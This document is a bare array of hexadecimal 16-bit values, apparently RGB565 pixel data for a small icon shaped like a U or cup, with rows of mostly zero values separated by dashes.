0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793B,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1845,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x1025,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2068,0x895E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x50D2,0x2048,0x0823,0x0001,0x0000,0x0001,0x1023,0x2869,0x58D4,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x713B,0x6918,0x60F6,0x6918,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x408E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x895E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x2069,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x388C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x388D,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x50D2,0x711A,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813E,0x7119,0x40B0,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x2047,0x286A,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x2869,0x1846,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 